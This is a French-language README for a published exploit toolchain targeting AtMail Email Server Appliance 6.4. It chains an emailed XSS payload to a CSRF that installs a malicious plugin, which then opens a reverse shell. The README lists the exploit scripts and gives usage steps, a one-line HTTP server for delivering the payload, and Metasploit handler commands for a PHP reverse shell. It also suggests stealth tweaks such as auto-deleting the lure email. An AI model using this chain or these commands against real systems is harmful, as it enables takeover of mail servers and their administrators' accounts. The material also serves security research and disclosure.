AtMail Email Server Appliance 6.4 - Chaîne d'outils d'exploitation (XSS > CSRF > RCE)
[PacketStorm] [WLB-2020080010]
Avertissement : cette chaîne d'outils d'exploitation a été inspirée par EDB-ID 20009.
Objectif
L'objectif de cette chaîne d'outils d'exploitation est de remplacer EDB-ID 20009.
Avantages de cette chaîne d'outils par rapport à l'exploit EDB-ID 20009 :
- Simple à utiliser
- Réutilisable
- Charges utiles (payloads) générées dynamiquement
- Facilement modifiable / piratable
- Code clair et plugin disponible
Inconvénients de l'exploit EDB-ID 20009 :
- Non personnalisable (charges utiles codées en dur)
- Complexe à utiliser (il faut remplacer de nombreuses valeurs codées en dur et adapter le code à l'environnement cible)
- Usage unique (toutes les valeurs sont codées en dur)
- L'archive tgz du plugin est intégrée sous forme de chaîne (caractères hexadécimaux), de sorte que le code source du plugin ne peut pas être facilement lu ou modifié
Prérequis
- (Facultatif) Metasploit Framework (
msfvenom pour la génération du reverse shell)
- tar (pour générer l'archive du plugin)
- ruby (préparation des charges utiles et envoi du XSS par SMTP)
- (Facultatif) Un serveur web pour délivrer la charge utile XSS
- Connaître l'adresse email d'un administrateur Atmail (seuls les administrateurs peuvent installer un plugin)
- Interaction passive (l'administrateur doit déclencher l'email contenant la charge utile XSS sur le WebMail et avoir une session valide sur l'interface d'administration)
Installer les prérequis sur ArchLinux :
$ sudo pacman -S metasploit tar ruby
Fonctionnement
- Envoyer un email à l'administrateur contenant une charge utile XSS
- La charge utile XSS charge à distance le JavaScript CSRF
- Le CSRF installe un plugin
- Une fois installé, le plugin exécute une commande système : le reverse shell
Fichiers de l'exploit :
config.yml contient la configuration de la chaîne d'outils
exploit.sh le wrapper de l'exploit qui doit être exécuté
xss_mail.rb enverra l'email contenant le XSS à l'administrateur via le serveur SMTP d'Atmail (sans authentification).
csrf_prepare.rb préparera la charge utile CSRF (définition de la cible et encodage de l'archive du plugin)
rce_prepare.rb préparera le RCE (génération du reverse shell et création de l'archive du plugin)
csrf_plugin.js la charge utile CSRF préparée
noraj/ dossier contenant l'architecture non compressée du plugin
Utilisation
La chaîne d'outils d'exploitation ne nécessite que 2 étapes manuelles :
- Modifier
config.yml
- Lancer
exploit.sh
Mais avant de lancer l'attaque, un serveur web doit délivrer le fichier JavaScript CSRF et un listener de reverse shell doit attendre la connexion. L'attaque ressemblera donc davantage à :
- Modifier
config.yml
- Démarrer un serveur HTTP qui délivrera
csrf_plugin.js
- Démarrer le listener de reverse shell
- Lancer
exploit.sh
Exemple de serveur HTTP sur une ligne :
$ ruby -run -e httpd . -p 8000
Exemple de listener de reverse shell :
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/reverse_php
payload => php/reverse_php
msf5 exploit(multi/handler) > set LHOST 1.1.1.1
LHOST => 1.1.1.1
msf5 exploit(multi/handler) > set LPORT 8080
LPORT => 8080
msf5 exploit(multi/handler) > run
Notes
- Le RCE ne se produit que lorsque le plugin est installé ; si la connexion du reverse shell est perdue, ré-exécuter signifie réinstaller le plugin. L'administrateur n'a donc qu'à recharger sa boîte mail.
- Les red teamers pourraient améliorer l'exploit pour supprimer automatiquement l'email une fois lu et pour supprimer le plugin une fois la connexion du reverse shell établie : moins persistant mais plus furtif.
- msfvenom (MSF 5.0) ne prend en charge qu'une adresse IP pour LHOST, pas un nom de domaine.
- Comme indiqué dans Prérequis, l'administrateur doit être connecté à la fois sur le Webmail et sur l'interface d'administration.
- Testé avec ruby 2.7.